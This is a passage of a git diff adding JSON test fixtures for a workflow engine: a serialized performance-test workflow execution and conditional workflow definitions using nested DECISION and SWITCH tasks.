"dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowTask": { + "name": "perf_task_30", + "taskReferenceName": "perf_task_30", + "inputParameters": { + "mod": "perf_task_29.output.mod", + "oddEven": "perf_task_29.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069392094, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_30", + "description": "perf_task_30", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "queueWaitTime": 2146, + "taskDefinition": { + "present": true + }, + "taskStatus": "COMPLETED", + "logs": [ + "01/14/19, 01:50:13:473 : Starting to execute perf_task_30, id=603a164f-3198-40ed-a5b6-7dd439349c25", + "01/14/19, 01:50:13:473 : Attempt 1be75865-00a1-4e2b-95c0-573c444d98d7,perf_task_30,1", + "01/14/19, 01:50:13:473 : failure probability is 0.4859264 against 0.0", + "01/14/19, 01:50:13:476 : Marking task completed" + ] + } + ], + "input": { + "mod": "0", + "oddEven": "0", + "task2Name": "perf_task_10" + }, + "output": { + "mod": "6", + "oddEven": "0", + "inputs": { + "subflow_0": { + "mod": 4, + "oddEven": 0 + }, + "subflow_4": { + "mod": 4, + "oddEven": 0 + }, + "subflow_2": { + "mod": 4, + "oddEven": 0 + } + }, + "dynamicTasks": [ + { + "name": null, + "taskReferenceName": "subflow_0", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_2", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + }, + { + "name": null, + "taskReferenceName": "subflow_4", + "description": null, + "inputParameters": null, + "type": "SUB_WORKFLOW", + "dynamicTaskNameParam": null, + "caseValueParam": null, + "caseExpression": null, + "decisionCases": {}, + "dynamicForkJoinTasksParam": null, + "dynamicForkTasksParam": null, + "dynamicForkTasksInputParamName": null, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": null + }, + "joinOn": [], + "sink": null, + "optional": false, + "taskDefinition": null, + "rateLimited": null + } + ], + "attempt": 1 + }, + "workflowType": "performance_test_1", + "version": 1, + "correlationId": "1547430586940", + "schemaVersion": 1, + "workflowDefinition": { + "createTime": 1477681181098, + "updateTime": 1484162039528, + "name": "performance_test_1", + "description": "performance_test_1", + "version": 1, + "tasks": [ + { + "name": "perf_task_1", + "taskReferenceName": "perf_task_1", + "inputParameters": { + "mod": "workflow.input.mod", + "oddEven": "workflow.input.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389709, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_1", + "description": "perf_task_1", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_10", + "taskReferenceName": "perf_task_2", + "inputParameters": { + "taskToExecute": "workflow.input.task2Name" + }, + "type": "DYNAMIC", + "dynamicTaskNameParam": "taskToExecute", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389226, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_10", + "description": "perf_task_10", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_3", + "taskReferenceName": "perf_task_3", + "inputParameters": { + "mod": "perf_task_2.output.mod", + "oddEven": "perf_task_2.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389814, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_3", + "description": "perf_task_3", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "get_from_es", + "taskReferenceName": "get_es_1", + "type": "HTTP", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "oddEvenDecision", + "taskReferenceName": "oddEvenDecision", + "inputParameters": { + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "DECISION", + "caseValueParam": "oddEven", + "decisionCases": { + "0": [ + { + "name": "perf_task_4", + "taskReferenceName": "perf_task_4", + "inputParameters": { + "mod": "perf_task_3.output.mod", + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390494, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_4", + "description": "perf_task_4", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "dynamic_fanout", + "taskReferenceName": "fanout1", + "inputParameters": { + "dynamicTasks": "perf_task_4.output.dynamicTasks", + "input": "perf_task_4.output.inputs" + }, + "type": "FORK_JOIN_DYNAMIC", + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "input", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "dynamic_join", + "taskReferenceName": "join1", + "type": "JOIN", + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_5", + "taskReferenceName": "perf_task_5", + "inputParameters": { + "mod": "perf_task_4.output.mod", + "oddEven": "perf_task_4.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390611, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_5", + "description": "perf_task_5", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_6", + "taskReferenceName": "perf_task_6", + "inputParameters": { + "mod": "perf_task_5.output.mod", + "oddEven": "perf_task_5.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390789, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_6", + "description": "perf_task_6", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "1": [ + { + "name": "perf_task_7", + "taskReferenceName": "perf_task_7", + "inputParameters": { + "mod": "perf_task_3.output.mod", + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390955, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_7", + "description": "perf_task_7", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_8", + "taskReferenceName": "perf_task_8", + "inputParameters": { + "mod": "perf_task_7.output.mod", + "oddEven": "perf_task_7.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391122, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_8", + "description": "perf_task_8", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_9", + "taskReferenceName": "perf_task_9", + "inputParameters": { + "mod": "perf_task_8.output.mod", + "oddEven": "perf_task_8.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391291, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_9", + "description": "perf_task_9", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "modDecision", + "taskReferenceName": "modDecision", + "inputParameters": { + "mod": "perf_task_8.output.mod" + }, + "type": "DECISION", + "caseValueParam": "mod", + "decisionCases": { + "0": [ + { + "name": "perf_task_12", + "taskReferenceName": "perf_task_12", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389427, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_12", + "description": "perf_task_12", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_13", + "taskReferenceName": "perf_task_13", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389276, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_13", + "description": "perf_task_13", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf1", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + } + ], + "1": [ + { + "name": "perf_task_15", + "taskReferenceName": "perf_task_15", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069388963, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_15", + "description": "perf_task_15", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_16", + "taskReferenceName": "perf_task_16", + "inputParameters": { + "mod": "perf_task_15.output.mod", + "oddEven": "perf_task_15.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389067, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_16", + "description": "perf_task_16", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf2", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + } + ], + "4": [ + { + "name": "perf_task_18", + "taskReferenceName": "perf_task_18", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069388904, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_18", + "description": "perf_task_18", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_19", + "taskReferenceName": "perf_task_19", + "inputParameters": { + "mod": "perf_task_18.output.mod", + "oddEven": "perf_task_18.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069389173, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_19", + "description": "perf_task_19", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "5": [ + { + "name": "perf_task_21", + "taskReferenceName": "perf_task_21", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390669, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_21", + "description": "perf_task_21", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf3", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_22", + "taskReferenceName": "perf_task_22", + "inputParameters": { + "mod": "perf_task_21.output.mod", + "oddEven": "perf_task_21.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391345, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_22", + "description": "perf_task_22", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ] + }, + "defaultCase": [ + { + "name": "perf_task_24", + "taskReferenceName": "perf_task_24", + "inputParameters": { + "mod": "perf_task_9.output.mod", + "oddEven": "perf_task_9.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391074, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_24", + "description": "perf_task_24", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "sub_workflow_x", + "taskReferenceName": "wf4", + "inputParameters": { + "mod": "perf_task_12.output.mod", + "oddEven": "perf_task_12.output.oddEven" + }, + "type": "SUB_WORKFLOW", + "startDelay": 0, + "subWorkflowParam": { + "name": "sub_flow_1", + "version": 1 + }, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_25", + "taskReferenceName": "perf_task_25", + "inputParameters": { + "mod": "perf_task_24.output.mod", + "oddEven": "perf_task_24.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069391177, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_25", + "description": "perf_task_25", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "startDelay": 0, + "optional": false, + "asyncComplete": false + } + ] + }, + "startDelay": 0, + "optional": false, + "asyncComplete": false + }, + { + "name": "perf_task_28", + "taskReferenceName": "perf_task_28", + "inputParameters": { + "mod": "perf_task_3.output.mod", + "oddEven": "perf_task_3.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390042, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_28", + "description": "perf_task_28", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_29", + "taskReferenceName": "perf_task_29", + "inputParameters": { + "mod": "perf_task_28.output.mod", + "oddEven": "perf_task_28.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069390098, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_29", + "description": "perf_task_29", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + }, + { + "name": "perf_task_30", + "taskReferenceName": "perf_task_30", + "inputParameters": { + "mod": "perf_task_29.output.mod", + "oddEven": "perf_task_29.output.oddEven" + }, + "type": "SIMPLE", + "startDelay": 0, + "optional": false, + "taskDefinition": { + "createTime": 1547069392094, + "createdBy": "CPEWORKFLOW", + "name": "perf_task_30", + "description": "perf_task_30", + "retryCount": 2, + "timeoutSeconds": 600, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1 + }, + "asyncComplete": false + } + ], + "schemaVersion": 1, + "restartable": true, + "workflowStatusListenerEnabled": false + }, + "priority": 0, + "workflowName": "performance_test_1", + "workflowVersion": 1, + "startTime": 1547430586952 +} \ No newline at end of file diff --git a/core/src/test/resources/conditional_flow.json b/core/src/test/resources/conditional_flow.json new file mode 100644 index 0000000..ae03402 --- /dev/null +++ b/core/src/test/resources/conditional_flow.json @@ -0,0 +1,211 @@ +{ + "name": "ConditionalTaskWF", + "description": "ConditionalTaskWF", + "version": 1, + "tasks": [{ + "name": "conditional", + "taskReferenceName": "conditional", + "inputParameters": { + "case": "${workflow.input.param1}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "nested": [{ + "name": "conditional2", + "taskReferenceName": "conditional2", + "inputParameters": { + "case": "${workflow.input.param2}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "one": [{ + "name": "junit_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_1", + "description": "junit_task_1", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }, + { + "name": "junit_task_3", + "taskReferenceName": "t3", + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_3", + "description": "junit_task_3", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + } + ], + "two": [{ + "name": "junit_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp3": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_2", + "description": "junit_task_2", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }] + }, + "startDelay": 0 + }], + "three": [{ + "name": "junit_task_3", + "taskReferenceName": "t31", + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_3", + "description": "junit_task_3", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }] + }, + "defaultCase": [{ + "name": "junit_task_2", + "taskReferenceName": "t21", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp3": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_2", + "description": "junit_task_2", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }], + "startDelay": 0 + }, + { + "name": "finalcondition", + "taskReferenceName": "tf", + "inputParameters": { + "finalCase": "{workflow.input.finalCase}" + }, + "type": "DECISION", + "caseValueParam": "finalCase", + "decisionCases": { + "notify": [{ + "name": "junit_task_4", + "taskReferenceName": "junit_task_4", + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_4", + "description": "junit_task_4", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }] + }, + "startDelay": 0 + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "schemaVersion": 2, + "ownerEmail": "unit@test.com" +} diff --git a/core/src/test/resources/conditional_flow_with_switch.json b/core/src/test/resources/conditional_flow_with_switch.json new file mode 100644 index 0000000..53d3482 --- /dev/null +++ b/core/src/test/resources/conditional_flow_with_switch.json @@ -0,0 +1,226 @@ +{ + "name": "ConditionalTaskWF", + "description": "ConditionalTaskWF", + "version": 1, + "tasks": [ + { + "name": "conditional", + "taskReferenceName": "conditional", + "inputParameters": { + "case": "${workflow.input.param1}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "case", + "decisionCases": { + "nested": [ + { + "name": "conditional2", + "taskReferenceName": "conditional2", + "inputParameters": { + "case": "${workflow.input.param2}" + }, + "type": "SWITCH", + "evaluatorType": "javascript", + "expression": "$.case == 'one' ? 'one' : ($.case == 'two' ? 'two' : ($.case == 'three' ? 'three' : 'other'))", + "decisionCases": { + "one": [ + { + "name": "junit_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_1", + "description": "junit_task_1", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + }, + { + "name": "junit_task_3", + "taskReferenceName": "t3", + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_3", + "description": "junit_task_3", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + } + ], + "two": [ + { + "name": "junit_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp3": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_2", + "description": "junit_task_2", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + } + ] + }, + "startDelay": 0 + } + ], + "three": [ + { + "name": "junit_task_3", + "taskReferenceName": "t31", + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_3", + "description": "junit_task_3", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": null, + "inputTemplate": {} + } + } + ] + }, + "defaultCase": [ + { + "name": "junit_task_2", + "taskReferenceName": "t21", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp3": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "startDelay": 0, + "taskDefinition": { + "ownerApp": null, + "createTime": null, + "updateTime": null, + "createdBy": null, + "updatedBy": null, + "name": "junit_task_2", + "description": "junit_task_2", + "retryCount": 1, + "timeoutSeconds": 0, + "inputKeys": [], + 